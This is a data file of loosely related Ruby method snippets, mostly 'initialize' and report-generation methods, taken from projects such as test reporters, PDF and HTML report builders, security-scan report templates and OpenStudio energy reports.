"def initialize( email_to=Passwords::MyName )\n \n # Reporting tool\n self.m = MechReporter.new\n \n # Report name\n self.name = File.basename( $0, '.*' )\n \n # File to check for failed reports\n self.checkname = \"#{ documents_path }\\\\#@name.txt\"\n \n # Email content\n self.email_to = email_to\n self.email_bcc = []\n self.files = []\n self.body = 'Automated Email'\n self.subject = nil\n \n # Check automation mode\n case ARGV[0]\n when /check/i\n puts 'Check mode active. Setting Automate mode: true'\n self.automation = true\n if ( File.read( checkname ) == today.to_s rescue false )\n puts 'Report already completed today'\n exit\n end\n when /automate/i\n puts 'Automated'\n self.automation = true\n when /test/i\n self.automation = true\n self.test = true\n self.email_to = Passwords::MyName\n else\n puts 'Not Automated'\n self.automation = false\n end\n \n end",
"def initialize\n namespace :docs do\n config = YAML.load_file(\".yardstick.yml\")\n\n desc \"Measure YARD coverage. see yardstick/report.txt for output\"\n require \"yardstick/rake/measurement\"\n Yardstick::Rake::Measurement.new(:measure_ras, config) do |measurement|\n measurement.output = \"yardstick/ras_report.txt\"\n end\n\n task measure_ras: [:measure_ras_message] # another way to force a dependent task\n desc \"\" # empty description so this doesn't show up in rake -T\n task :measure_ras_message do\n puts \"creating a report in yardstick/ras_report.txt\"\n end\n\n desc \"Verify YARD coverage\"\n require \"yardstick/rake/verify\"\n Yardstick::Rake::Verify.new(:verify_ras, config)\n end\n end",
"def initialize\n super\n\n self.readiness_checks = [\n WebExporter::ExporterCheck.new(self),\n Gitlab::HealthChecks::PumaCheck,\n Gitlab::HealthChecks::UnicornCheck\n ]\n end",
"def initialize ()\n\t\t\t\t@template_info =\n\t\t\t\t{\n\t\t\t\t\t:name => \"talking_points\",\n\t\t\t\t\t:author => \"hammackj\",\n\t\t\t\t\t:version => \"0.0.2\",\n\t\t\t\t\t:renderer => \"PDF\",\n\t\t\t\t\t:description => \"Generates a Talking Points NessusReport\"\n\t\t\t\t}\n\t\t\tend",
"def report\n require File.join File.expand_path(File.dirname(__FILE__)), \"report\"\n Brakeman::Report.new(self)\n end",
"def initialize(report)\n @report = report\n @document = Prawn::Document.new(:page_layout => :landscape,\n :top_margin => in2pt(1),\n :bottom_margin => in2pt(1))\n\n @document.float { draw_graphs }\n\n draw_header\n draw_summary_table\n end",
"def initialize(io = $stdout, db_dir = \".\")\n @db_dir = db_dir\n @out = io\n # @out = $stdout # 強制出力\n @is_display_info = false # alert_info の表示\n clear_count\n @yaml = YamlFileWrapper.load_if(@db_dir)\n end",
"def initialize (check_usable = true)\n @measure_importers = {}\n @section_importers = {}\n @section_importers[:encounters] = SimpleImporter.new(\"//ccr:Encounters/ccr:Encounter\",:encounters)\n @section_importers[:procedures] = SimpleImporter.new(\"//ccr:Procedures/ccr:Procedure\",:procedures)\n @section_importers[:results] = ResultImporter.new(\"//ccr:Results/ccr:Result\",:results)\n @section_importers[:vital_signs] = ResultImporter.new(\"//ccr:VitalSigns/ccr:Result\",:vital_signs)\n @section_importers[:medications] = ProductImporter.new(\"//ccr:Medications/ccr:Medication\", :medications)\n @section_importers[:conditions] = SimpleImporter.new(\"//ccr:Problems/ccr:Problem\",:conditions)\n @section_importers[:social_history] = SimpleImporter.new(\"//ccr:SocialHistory/ccr:SocialHistoryElement\", :social_history)\n @section_importers[:care_goals] = SimpleImporter.new(\"//ccr:Goals/ccr:Goal\",:care_goals)\n @section_importers[:medical_equipment] = ProductImporter.new(\"//ccr:Equipment/ccr:EquipmentElement\",:medical_equipment)\n @section_importers[:allergies] = SimpleImporter.new(\"//ccr:Alerts/ccr:Alert\",:allergies)\n @section_importers[:immunizations] = ProductImporter.new(\"//ccr:Immunizations/ccr:Immunization\",:immunizations)\n end",
"def report_learner\n # I'm using the ! here so we can track down errors faster if there is an issue making\n # the report_learner\n super || create_report_learner!\n end",
"def init()\n @end_reg = /\\*+\\s*End testing\\s*\\*+/\n @start_reg = /\\*+\\s*Start testing\\s*\\*+/\n @test_logger = ::Logger.new(STDOUT)\n @test_logger.formatter = proc {|_severity, _datetime, _progname, msg|\n \"%s\\n\\r\" % [msg]\n }\n @in_tests = false\n @logs = []\n end",
"def report\n table = Terminal::Table.new(headings: ['Basic', 'Result']) do |t|\n t << [\"Number of paragraphs\", number_of_paragraphs]\n t << [\"Number of sentences\", number_of_sentences]\n t << [\"Number of words\", number_of_words]\n t << [\"Number of characters\", number_of_characters]\n t << [\"Number of syllables\", number_of_syllables]\n\n t << :separator\n t << [\"Average words per sentence\", mean_of_words_per_sentence]\n t << [\"Average syllables per word\", mean_of_syllables_per_word]\n t << [\"Average syllables per content word\", syllables_per_content_word]\n\n t << :separator\n t << [\"Verbs Ocurrencies\", verb_incidence]\n t << [\"Nouns Ocurrencies\", noun_incidence]\n t << [\"Adjective Ocurrencies\", adjective_incidence]\n t << [\"Adverb Ocurrencies\", adverb_incidence]\n t << [\"Pronoun Ocurrencies\", pronoun_incidence]\n t << [\"Content Word Ocurrencies\", content_word_incidence]\n t << [\"Function Word Ocurrencies\", function_word_incidence]\n\n t << :separator\n t << [\"Flesch score\", flesch]\n end\n puts table\n end",
"def initialize(commandlineopts)\n \n #Requiring things we need. Most of these are in stdlib, but nokogiri ain't\n begin\n require 'rubygems'\n require 'logger' \n require 'json'\n require 'date'\n #require 'resolv'\n\n rescue LoadError => e\n puts \"Couldn't load one of the required gems\"\n puts \"The error message may be useful\"\n puts e.to_s\n exit\n end\n \n @options = commandlineopts\n \n @base_dir = @options.report_directory\n @scan_dir = @options.scan_directory\n if !File.exists?(@base_dir)\n Dir.mkdirs(@base_dir)\n end\n\n if @options.logger\n @log = Logger.new(@base_dir + '/' + @options.logger)\n else\n @log = Logger.new(STDOUT)\n end\n #Change the line below to Logger::DEBUG to get debugging messages during the program run\n @log.level = Logger::WARN\n @log.debug(\"Log created at \" + Time.now.to_s)\n @log.debug(\"Scan type is : #{@options.scan_type}\")\n @log.debug(\"Directory being scanned is : #{@options.scan_directory}\") if @options.scan_type == :directory\n @log.debug(\"File being scanned is : #{@options.scan_file}\") if @options.scan_type == :file\n \n end",
"def template\n File.read(File.expand_path('../../../../templates/violations.md.mustache', __FILE__))\n end",
"def output_report\n report = \"\"\n report << '<html>'\n report << ' <head>'\n report << \" <title>#{@title}</title>\"\n report << ' </head>'\n report << ' <body>'\n @text.each { |line| report << \" <p>#{line}</p>\" }\n report << ' </body>'\n report << '</html>'\n end",
"def initialize\n\t\t\t\t@template_info =\n\t\t\t\t{\n\t\t\t\t\t:name => \"talking_points\",\n\t\t\t\t\t:author => \"hammackj\",\n\t\t\t\t\t:version => \"0.0.2\",\n\t\t\t\t\t:renderer => \"PDF\",\n\t\t\t\t\t:description => \"Generates a Talking Points Report\"\n\t\t\t\t}\n\t\t\tend",
"def get_test_run_summary_report(test_report, test_summary)\n file_data = test_report\n file_lines = file_data.split(\"\\n\")\n\n=begin\n #Remove the duplicate headings\n title = 0\n i = 0\n file_lines.each do |line|\n i += 1\n if line.match(/<h1 align='center'><u>(\\w|\\s)+<\\/u><\\/h1><br\\/>/)\n title += 1\n if title > 1\n file_lines.delete_at(i-1)\n end\n end\n end\n=end\n\n test_run_summary = <<-EOS\n <h1 align='center'><u>#{test_summary[:title]}<\\/u><\\/h1><br\\/>\n EOS\n\n #Get the test run details from the report\n file_data.match(/<td>Kadu server:(.+)<\\/td>/)\n kadu_server = $1\n test_suites = file_data.scan(/<th align=\"center\">(.+)<\\/th>/)\n test_suite_status = file_data.scan(/Test suite status: <font id=(statuspass|statusfail)>(.*)<\\/font>/)\n\n i = 0\n test_status = {}\n test_suites.each do |test_suite|\n test_status[test_suite] = test_suite_status[i]\n i +=1\n end\n\n test_status = test_status.sort_by{|name,status| status}\n\n test_run_time_in_secs = Time.parse(test_summary[:test_run_end_time].to_s) - Time.parse(test_summary[:test_run_start_time].to_s)\n\n # Get the test case numbers\n passed_tcs = 0\n failed_tcs = 0\n blocked_tcs = 0\n\n file_lines.each do |line|\n passed_tcs +=1 if line.match(\"Test result status: <font id=statuspass>PASS</font>\")\n failed_tcs +=1 if line.match(\"Test result status: <font id=statusfail>FAIL</font>\")\n blocked_tcs +=1 if line.match(\"Test result status: <font id=statusfail>BLOCK</font>\")\n end\n total_tcs_count = passed_tcs + failed_tcs + blocked_tcs\n\n #Create the test run summary section\n test_run_summary += <<-EOS\n <a name=summary></a>\n <table id=\"specifications\" width=\"500px\">\n <tr><td><strong>Kadu Server:</strong></td><td>#{kadu_server}</td></tr>\n <tr><td><strong>Country:</strong></td><td>#{test_summary[:country]}</td></tr>\n <tr><td><strong>Test Run Started On:</strong></td><td>#{test_summary[:test_run_start_time]}</td></tr>\n <tr><td><strong>Duration:</strong></td><td>#{test_run_time_in_secs} secs</td></tr>\n <tr><td><strong>Number of test cases executed:</strong></td><td>#{total_tcs_count}</td></tr>\n <tr><td><strong>Number of test cases passed:</strong></td><td>#{passed_tcs}</td></tr>\n <tr><td><strong>Number of test cases failed:</strong></td><td>#{failed_tcs}</td></tr>\n <tr><td><strong>Number of test cases blocked:</strong></td><td>#{blocked_tcs}</td></tr>\n </table>\n <br>\n EOS\n if !test_summary[:known_issues].nil?\n test_run_summary += <<-EOS\n #{get_fail_test_details(test_summary[:known_issues])}\n <br>\n EOS\n end\n\n test_run_summary += <<-EOS\n <table id=\"specifications\" width=\"900px\">\n <tr>\n <th >Test Suite</th>\n <th >Test Suite Status</th>\n </tr>\n EOS\n i = 0\n test_status.each do |suite_name,suite_status|\n test_run_summary += <<-EOS\n <tr>\n <td><a href=\"##{replace_space_by_dash(suite_name.to_s.gsub(/\"|\\[|\\]/,''))}\">#{suite_name.to_s.gsub(/\"|\\[|\\]/,'')}</a></td>\n <td><font id=#{suite_status[0]}>#{suite_status[1]}</font></td>\n </tr>\n EOS\n i +=1\n end\n test_run_summary += <<-EOS\n </table>\n <br>\n <hr size=2 color=\"#000080\">\n <br/>\n EOS\n\n # Convert the section into array and add it to the file at the start.\n test_run_summary = test_run_summary.split(\"\\n\")\n i = 0\n file_lines.each do |line|\n i += 1\n if line.match(/<center>/)\n j = i\n test_run_summary.each do |row|\n file_lines.insert(j,row)\n j +=1\n end\n break\n end\n end\n\n report = \"\"\n file_lines.each do |line|\n report += <<-EOS\n #{line}\n EOS\n end\n report\n end",
"def setup_rubocop\n template \"templates/rubocop.tt\", \".rubocop.yml\"\n end",
"def setup(description=\"TBD\")\n TestReport.instance.setDescription(description)\n\n @tStart=Time.now()\n @completed=false\n end",
"def initialize(args={})\n @log = args[:log] # will contain an instance of some type of Logger object (Ruby, Log4R, etc.)\n log.debug \"#{self.class} initialize called..\"\n @errors = [] # an array of error messages\n @exercise = nil # will contain the exercise created upon import\n end",
"def init_haml_helpers\n @haml_buffer = Haml::Buffer.new(@haml_buffer, Haml::Engine.new('').send(:options_for_buffer))\n nil\n end",
"def build_report\n puts \"building performance test comparison report...\"\n puts\n\n # load template\n report = File.read(@template_path)\n\n # metrics result\n result_comparison_table = extract_table_from_csv2html_output(@result_comparison_path)\n\n # atop summary\n atop_summary_comparison_table = extract_table_from_csv2html_output(@atop_summary_comparison_path)\n\n # atop detail\n # TODO: enable\n # atop_detail_comparison_table = extract_table(@atop_detail_comparison_path)\n\n # replace tables (do this first since table data may include parameters)\n report = report.gsub(\"$RESULT_COMPARISON_TABLE\", result_comparison_table)\n report = report.gsub(\"$ATOP_SUMMARY_COMPARISON_TABLE\", atop_summary_comparison_table)\n\n # TODO: enable\n # report = report.gsub(\"$ATOP_DETAIL_TABLE\", atop_detail_table)\n\n # replace parameters\n report = replace_parameters(report)\n\n # write report\n puts \"writing report to #{@output_path}\"\n\n File.write(@output_path, report)\nend",
"def set_report\n end",
"def great_job\n report = RDoc::Markup::Document.new\n\n report << RDoc::Markup::Paragraph.new('100% documentation!')\n report << RDoc::Markup::Paragraph.new('Great Job!')\n\n report\n end",
"def initialize(open_report, output_types, output_directory)\n @open_report = open_report\n @output_types = output_types\n @output_directory = output_directory\n end",
"def init_report\n raise if @report.new_record?\n \n # if not a new record, run it and record viewing\n @report.record_viewing\n \n return run_and_handle_errors\n end",
"def initialize(template=nil, path=nil, encoding=nil)\n @config = template\n @filepath = path\n @encoding = encoding\n @validation_results = {:issues => [], :info => []}\n @parse_results = {:issues => [], :info => []}\n # initial empty collections\n @taxon_header_map = {}\n @trait_headers = {:continuous => [], :categorical => []}\n @trait_source_headers = []\n @trait_notes_headers = []\n @datasets = []\n\n if template.nil?\n @validation_results[:issues] << {\n :issue_description => \"Unable to load import template\",\n :suggested_solution => 'Make sure a template is selected.'\n }\n end\n if file_usable?\n @csvfile = nil\n else\n @validation_results[:issues] << {\n :issue_description => \"Unable to load CSV File at #{path}\",\n :suggested_solution => 'Make sure file uploads are configured correctly.'\n }\n @filepath = nil\n end\n end",
"def run(runner, user_arguments)\r\n super(runner, user_arguments)\r\n\r\n #use the built-in error checking \r\n if not runner.validateUserArguments(arguments(), user_arguments)\r\n return false\r\n end\r\n\r\n # get sql, model, and web assets\r\n setup = OsLib_Reporting.setup(runner)\r\n model = setup[:model]\r\n sqlFile = setup[:sqlFile]\r\n web_asset_path = setup[:web_asset_path]\r\n\r\n # create an array of tables to loop through in erb file\r\n @tables = []\r\n\r\n # get general building information\r\n @tables << OsLib_Reporting.general_building_information_table(model,sqlFile,runner)\r\n\r\n # get space type breakdown table and pie chart\r\n @tables << OsLib_Reporting.output_data_space_type_breakdown_table(model,sqlFile,runner)\r\n\r\n # get end use table and pie chart\r\n @tables << OsLib_Reporting.output_data_end_use_table_pie_data(model,sqlFile,runner)\r\n\r\n # get end use by electricity table and pie chart\r\n @tables << OsLib_Reporting.output_data_end_use_electricity_table_pie_data(model,sqlFile,runner)\r\n\r\n # get end use by gas table and pie chart\r\n @tables << OsLib_Reporting.output_data_end_use_gas_table_pie_data(model,sqlFile,runner)\r\n\r\n # get end use table and pie chart\r\n @tables << OsLib_Reporting.output_data_energy_use_table_pie_data(model,sqlFile,runner)\r\n\r\n # get advisory messages table\r\n @tables << OsLib_Reporting.advisory_messages_table(model,sqlFile,runner)\r\n\r\n # get space type detail table\r\n @tables << OsLib_Reporting.output_data_space_type_details_table(model,sqlFile,runner)\r\n\r\n # todo - could be nice to add story summary, area per story, count of zones and spaces. Should list air loops on that story, or should air loop list stories it is used on\r\n\r\n # air loop summary\r\n @tables << OsLib_Reporting.output_data_air_loops_table(model,sqlFile,runner)\r\n\r\n # plant loop summary\r\n @tables << OsLib_Reporting.output_data_plant_loops_table(model,sqlFile,runner)\r\n\r\n # zone equipment summary\r\n @tables << OsLib_Reporting.output_data_zone_equipment_table(model,sqlFile,runner)\r\n\r\n # get fenestration data table\r\n @tables << OsLib_Reporting.fenestration_data_table(model,sqlFile,runner)\r\n\r\n # summary of exterior constructions used in the model for base surfaces\r\n @tables << OsLib_Reporting.surface_data_table(model,sqlFile,runner)\r\n\r\n # summary of exterior constructions used in the model for sub surfaces\r\n @tables << OsLib_Reporting.sub_surface_data_table(model,sqlFile,runner)\r\n\r\n # create table for service water heating\r\n @tables << OsLib_Reporting.water_use_data_table(model,sqlFile,runner)\r\n\r\n # todo - update this to be custom load table, ad user arg with default string of \"Elev\"\r\n # elevators from model\r\n #@tables << OsLib_Reporting.elevator_data_table(model,sqlFile,runner)\r\n\r\n # create table for exterior lights\r\n @tables << OsLib_Reporting.exterior_light_data_table(model,sqlFile,runner)\r\n\r\n #reporting final condition\r\n runner.registerInitialCondition(\"Gathering data from EnergyPlus SQL file and OSM model.\")\r\n\r\n # create excel file (todo - turn back on once support gem)\r\n #book = OsLib_Reporting.create_xls()\r\n #@tables.each do |table|\r\n # my_data = OsLib_Reporting.write_xls(table,book)\r\n #end\r\n #file = OsLib_Reporting.save_xls(book)\r\n\r\n # read in template\r\n html_in_path = \"#{File.dirname(__FILE__)}/resources/report.html.erb\"\r\n if File.exist?(html_in_path)\r\n html_in_path = html_in_path\r\n else\r\n html_in_path = \"#{File.dirname(__FILE__)}/report.html.erb\"\r\n end\r\n html_in = \"\"\r\n File.open(html_in_path, 'r') do |file|\r\n html_in = file.read\r\n end\r\n\r\n # configure template with variable values\r\n renderer = ERB.new(html_in)\r\n html_out = renderer.result(binding)\r\n\r\n # write html file\r\n html_out_path = \"./report.html\"\r\n File.open(html_out_path, 'w') do |file|\r\n file << html_out\r\n # make sure data is written to the disk one way or the other\r\n begin\r\n file.fsync\r\n rescue\r\n file.flush\r\n end\r\n end\r\n\r\n #closing the sql file\r\n sqlFile.close()\r\n\r\n #reporting final condition\r\n runner.registerFinalCondition(\"Generated #{html_out_path}.\")\r\n\r\n return true\r\n \r\n end",
"def initialize_exec_report(*src)\n @exec_report = ExecReport.new(*src)\n end",
"def create_report_for(command)\n checker.create_report_for(command, self.title, self.variant)\n end",
"def initialize(config, game)\n @config = config\n @game = game\n # Parse tests suites\n @tests_suites = Dir.glob(\"#{__dir__}/tests_suites/*.rb\").map do |tests_suite_file|\n tests_suite = File.basename(tests_suite_file, '.rb').to_sym\n require \"#{__dir__}/tests_suites/#{tests_suite}.rb\"\n [\n tests_suite,\n TestsSuites.const_get(tests_suite.to_s.split('_').collect(&:capitalize).join.to_sym).new(tests_suite, @game)\n ]\n end.to_h\n @tests_info_file = \"#{@game.path}/Data/Modsvaskr/Tests/TestsInfo.json\"\n end",
"def initialize(suite, output_level = NORMAL)\n if (suite.respond_to?(:suite))\n @suite = suite.suite\n else\n @suite = suite\n end\n\n @result = nil\n @red = false\n end",
"def start\n setup_files\n create_report\nend",
"def initialize(suite)\n @suite = suite\n end",
"def report_load\n self.report('load_report')\n end",
"def report_startup\n @time = Time.now\n #dir = File.basename(source) #File.basename(File.dirname(source))\n report \"Generating #{job} in #{File.basename(output)}:\\n\\n\"\n end",
"def initialize\n @tidy_exe = nil # TidyEXE instance for this case.\n @tidy_config = nil # TidyConfig instance for this case.\n @case_file = nil # The file to be tested.\n @expect_html_file = nil # The HTML expect file for this case.\n @expect_txt_file = nil # The HTML errout file for this case.\n @valid = false # Indicates this is a valid case.\n @tested = false # Indicates this case has been tested.\n @passed_output = false # Indicates output testing passed.\n @passed_errout = false # Indicates errout testing passed.\n @passed_status = false # Indicates exit status passed.\n @@all_cases << self\n end",
"def initialize( enzyme_lines, reference_lines = nil, supplier_lines = nil, yaml = false )\n if yaml\n @enzyme_data = enzyme_lines\n @reference_data = reference_lines\n @supplier_data = supplier_lines\n else\n @enzyme_data = parse_enzymes(enzyme_lines)\n @reference_data = parse_references(reference_lines)\n @supplier_data = parse_suppliers(supplier_lines)\n end\n\n EnzymeEntry.supplier_data = @supplier_data\n setup_enzyme_data\n end",
"def run(runner, user_arguments)\n super(runner, user_arguments)\n \n #make the runner a class variable\n @runner = runner\n \n #use the built-in error checking \n if not runner.validateUserArguments(arguments(), user_arguments)\n return false\n end\n\n runner.registerInitialCondition(\"Starting QAQC report generation\")\n\n # get the last model and sql file \n @model = runner.lastOpenStudioModel\n if @model.is_initialized\n @model = @model.get\n else\n runner.registerError(\"Cannot find last model.\")\n return false\n end\n \n @sql = runner.lastEnergyPlusSqlFile\n if @sql.is_initialized\n @sql = @sql.get\n else\n runner.registerError(\"Cannot find last sql file.\")\n return false\n end\n \n resource_path = \"#{File.dirname(__FILE__)}/resources/\"\n if not File.exists?(\"#{resource_path}/CreateResults.rb\")\n # support pre 1.2.0 OpenStudio\n resource_path = \"#{File.dirname(__FILE__)}/\"\n end\n\n\n \n #require the files that create results and qaqc checks\n # use different code for 2.0 and higher\n if @model.version < OpenStudio::VersionString.new('1.11')\n runner.registerInfo(\"Using the pre-2.0 code\")\n require \"#{resource_path}/CreateResults.rb\"\n require \"#{resource_path}/EndUseBreakdown\"\n require \"#{resource_path}/EUI\"\n require \"#{resource_path}/FuelSwap\"\n require \"#{resource_path}/PeakHeatCoolMonth\"\n require \"#{resource_path}/UnmetHrs\"\n\n #vector to store the results and checks\n report_elems = OpenStudio::AttributeVector.new\n report_elems << create_results\n \n #create an attribute vector to hold the checks\n check_elems = OpenStudio::AttributeVector.new\n\n #unmet hours check\n check_elems << unmet_hrs_check\n \n #energy use for cooling and heating as percentage of total energy check\n check_elems << enduse_pcts_check\n\n #peak heating and cooling months check\n check_elems << peak_heat_cool_mo_check\n\n #EUI check\n check_elems << eui_check\n \n #end checks\n report_elems << OpenStudio::Attribute.new(\"checks\", check_elems)\n \n #create an extra layer of report. the first level gets thrown away.\n top_level_elems = OpenStudio::AttributeVector.new\n top_level_elems << OpenStudio::Attribute.new(\"report\", report_elems) \n \n #create the report\n result = OpenStudio::Attribute.new(\"summary_report\", top_level_elems)\n result.saveToXml(OpenStudio::Path.new(\"report.xml\"))\n\n else\n runner.registerInfo(\"Using the post-2.0 code\")\n require \"#{resource_path}/CreateResults_2.rb\"\n require \"#{resource_path}/EndUseBreakdown_2\"\n require \"#{resource_path}/EUI_2\"\n require \"#{resource_path}/FuelSwap_2\"\n require \"#{resource_path}/PeakHeatCoolMonth_2\"\n require \"#{resource_path}/UnmetHrs_2\" \n \n # store the results\n create_results\n \n # QAQC checks\n runner.registerValue(\"test_reg_value\", 9989, \"ft^2\")\n \n \n end\n \n #closing the sql file\n @sql.close()\n\n #reporting final condition\n runner.registerFinalCondition(\"Finished generating report.xml.\")\n \n return true\n \n end",
"def create_report\n dir = Dir.pwd\n file_name = \"#{@name}.log\"\n reports_dir = dir + \"/spec/reports\"\n if File.directory? reports_dir\n @spec_report_file = File.open(reports_dir + \"/\" + file_name, 'w')\n @spec_report_file.puts \"WatirmarkLog: \" + @name\n else\n #spec/Reports directory does not exits\n @spec_report_file = nil\n end\n end",
"def initialize(config)\n @config = config\n @matchers = []\n end",
"def setup\n @practical = Flow.new(\"gb\", \"Practical\")\n @legal = Flow.new(\"gb\", \"Legal\")\n # binding.pry\n end",
"def report\n {\n organization: organization,\n name: repo_name,\n default_branch: default_branch,\n url: repo_url,\n status: status,\n report: all_checks_result\n }\n end",
"def create_new_report!; end",
"def create_new_report!; end",
"def initialize(options={})\n @candidate_generator = options[:candidate_generator]\n @context_provider = options[:context_provider]\n @cyc = options[:cyc]\n @verbose = options[:verbose]\n @talkative = options[:talkative]\n @reporter = options[:reporter] || Reporter.new\n end",
"def setup!\n ::RSpec.configure do |c|\n c.add_formatter Formatter\n end\n end",
"def initialize(check, severity, message)\n @check = check\n @severity = severity\n @message = message\n end",
"def setup\n @suite.p \"\\n:: [SETUP]\\n\"\n # -- let's print the description of each test first:\n Dir.glob(\"#{@suite.suite_root}/tests/**/*_test.rb\") {|f|\n file_contents = File.read(f)\n @suite.p \"\\n [description] : \" + /^#.*@description(.*$)/.match(file_contents)[0].gsub(/^#.*@description/, '') + \"\\n\\n\" if /#{self.class.name}/.match(file_contents)\n }\n end",
"def report\n @report ||= \"#{RESULTS_DIR}/#{GROUP_NAME}-#{Time.now.strftime \"%d-%m-%Y-%H%M\"}.yaml\"\nend",
"def initialize(id, title, severity)\n\t\t@id = id\n\t\t@title = title\n\t\t@severity = severity\n\n\tend",
"def build_report\n # build cases\n builder = Nokogiri::XML::Builder.new do |xml|\n xml.testsuites {\n testsuite = xml.testsuite {\n @cases.each do |tc|\n testcase = xml.testcase {\n if tc.result_has_message?\n result_type = xml.send(tc.result)\n result_type[:message] = tc.message if tc.message.present?\n end\n\n if tc.system_out.size > 0\n xml.send('system-out') { xml.text tc.system_out.to_s }\n end\n\n if tc.system_err.size > 0\n xml.send('system-err') { xml.text tc.system_err.to_s }\n end\n }\n\n testcase[:name] = tc.name if tc.name.present?\n testcase[:time] = tc.time if tc.time.present?\n\n testcase[:classname] = package if package.present?\n if tc.classname.present?\n if testcase[:classname].present?\n testcase[:classname] = \"#{testcase[:classname]}.#{tc.classname}\"\n else\n testcase[:classname] = tc.classname\n end\n end\n\n end\n }\n\n testsuite[:name] = name if name.present?\n testsuite[:package] = package if package.present?\n }\n end\n\n builder.parent.root.to_xml\n end",
"def create\n tmpl = ERB.new(load_erb_file('rubocop/rubocop.yml'))\n data = tmpl.result(binding)\n\n info 'Setting up Rubocop configuration'\n write_file(cookbook_file_path('.rubocop.yml'), data)\n end",
"def initialize()\n @diagnostics = []\n @error_count = 0\n @warning_count = 0\n end",
"def initialize\n @metrics = { processed: 0, skipped: 0, failed: 0, updated: 0,\n unchanged: 0, start_time: 0, failed_list: [],\n warning: 0 }\n end",
"def initialize(file_specs, options)\n @file_specs = file_specs\n @options = options\n @options['log_level'] ||= 'info'\n @logger = initialize_logger(@options['logger'])\n @reporter = initialize_reporter(@options['validation-reporter'])\n @options['run_options'] ||= [] # make sure this is always an array since validators may add to it\n end",
"def setup \n @pdf_name = \"pdf name\"\n @options = { :pdf_layout => \"reports_layout.pdf.erb\", :pdf_template => \"reports/report.pdf.erb\", \n :render_options => {\n :header_right => 'Page [page] of [toPage]',\n :grayscale => true,\n :page_size => 'Letter'} \n } \n @page = \"<html><head><head><body><b>Hello</b> World</body></html>\" \n \n TooRendermonkey.configure = {\n :uri => \"http://localhost:4567/generate\",\n :api_key => \"835a3161dc4e71b\",\n :hash_key => \"sQQTe93eWcpV4Gr5HDjKUh8vu2aNDOvn3+suH1Tc4P4=\"\n } \n end",
"def factories_to_lint; end",
"def createJobSummary\n comment = \"PR cannot be merged due to following issues:\\n\"\n if MAINTAINERS_FAILED_VALIDATION.length() != 0\n comment += \"- Maintainers\\n\"\n for issueObject in MAINTAINERS_FAILED_VALIDATION do\n comment += \"\\t- `#{issueObject[:title]}`\\n\"\n for issue in issueObject[:issues] do\n comment += \"\\t\\t- #{issue}\\n\"\n end\n end\n end\n if OSSPROJECTS_FAILED_VALIDATION.length() != 0\n comment += \"- OSS Projects\\n\"\n for issueObject in OSSPROJECTS_FAILED_VALIDATION do\n comment += \"\\t- `#{issueObject[:title]}`\\n\"\n for issue in issueObject[:issues] do\n comment += \"\\t\\t- #{issue}\\n\"\n end\n end\n end\n if SOCIALGOOD_FAILED_VALIDATION.length() != 0\n comment += \"- Social Good Projects\\n\"\n for issueObject in SOCIALGOOD_FAILED_VALIDATION do\n comment += \"\\t- `#{issueObject[:title]}`\\n\"\n for issue in issueObject[:issues] do\n comment += \"\\t\\t- #{issue}\\n\"\n end\n end\n end\n @logger.info(\"Summary: #{comment}\")\n File.write(ENV[\"GITHUB_STEP_SUMMARY\"], comment)\nend",
"def initialize\n setup_ohai\n configure\n end",
"def initialize(config)\n raise 'Configuration is empty, abort!' \\\n if config.nil? || config.empty?\n raise \"Configuration does not specify 'config' section!\" \\\n unless config.key?('config')\n\n config['checks'] = [] unless config.key?('checks')\n config['custom'] = [] unless config.key?('custom')\n\n @config = config\n @events = []\n @status = 0\n @output = ''\n @source_nodename_map = nil\n\n @prometheus = Sensu::Plugins::Prometheus::Client.new\n @metrics = Sensu::Plugins::Prometheus::Metrics.new(@prometheus)\n @tmpl = Sensu::Plugins::Prometheus::Checks::Output.new\n @dispatcher = Sensu::Plugins::Events::Dispatcher.new\n end",
"def initialize(cfgDir)\n\t\t@Label = 'Collect and Stow Times for Steps in Probes.'\n\t\tsuper(cfgDir)\n\tend",
"def create_global_report\n super\n end",
"def setup_summary_report\n assign_to_from_dates\n @filter = @filter.remove_blanks_in_arrays\n @filter_name = @filter[:name]\n assign_grouping_type\n assign_facilities\n end",
"def initialize(definition)\n @definition = definition\n \n @encounter_importer = SectionImporter.new(\"//cda:section[cda:templateId/@root='2.16.840.1.113883.3.88.11.83.127']/cda:entry/cda:encounter\")\n @procedure_importer = SectionImporter.new(\"//cda:procedure[cda:templateId/@root='2.16.840.1.113883.10.20.1.29']\")\n @result_importer = SectionImporter.new(\"//cda:observation[cda:templateId/@root='2.16.840.1.113883.3.88.11.83.15']\")\n @vital_sign_importer = SectionImporter.new(\"//cda:observation[cda:templateId/@root='2.16.840.1.113883.3.88.11.83.14']\")\n @medication_importer = SectionImporter.new(\"//cda:section[cda:templateId/@root='2.16.840.1.113883.3.88.11.83.112']/cda:entry/cda:substanceAdministration\",\n \"./cda:consumable/cda:manufacturedProduct/cda:manufacturedMaterial/cda:code\")\n\n @condition_importer = SectionImporter.new(\"//cda:section[cda:templateId/@root='2.16.840.1.113883.3.88.11.83.103']/cda:entry/cda:act/cda:entryRelationship/cda:observation\",\n \"./cda:value\")\n @null_importer = NullSectionImporter.new\n end",
"def initialize(out = STDOUT, progname = '')\n @logger = Logger.new(out, progname: progname)\n @@LAST_TIME = Time.current\n @logger.formatter = proc do |severity, _datetime, progname, msg|\n severity = \"\\e[31mWARN\\e[0m\" if severity == 'WARN'\n severity = \"\\e[31mERROR\\e[0m\" if severity == 'ERROR'\n t = Time.current.strftime(\"%Y-%m-%d %T\")\n preamble = '%-40s' % \"[#{severity} #{t} #{progname}]\"\n \"#{preamble} #{msg}\\n\"\n end\n @warning_dir = './tmp/vhp-build-warnings'\n end",
"def initialize(submission, assessment)\n @submission = submission\n @monitor = assessment.monitor\n end",
"def initialize\n @display = XlibObj::Display.new(':0')\n @root = Root.new(@display)\n @formatter = if ARGV.include?('--yambar')\n YambarFormatter.new\n else\n Formatter.new(Configuration.new)\n end\n end",
"def initialize(scenario)\n $stdout.sync = true\n @log = Logger.new($stdout)\n @log.level = Logger::INFO\n\n @entities = Hash.new # leave default value of nil for hash key not existing\n @tracker = EntityTracker.new\n @scenario = Scenario.new(scenario)\n end",
"def report_title; end",
"def report_title; end",
"def initialize(configuration = {}, file=nil)\n @configuration = configuration\n @explanation = {}\n self.file = file\n end",
"def create_new_report!\n File.write(report_filename, report_title + report_body)\n end",
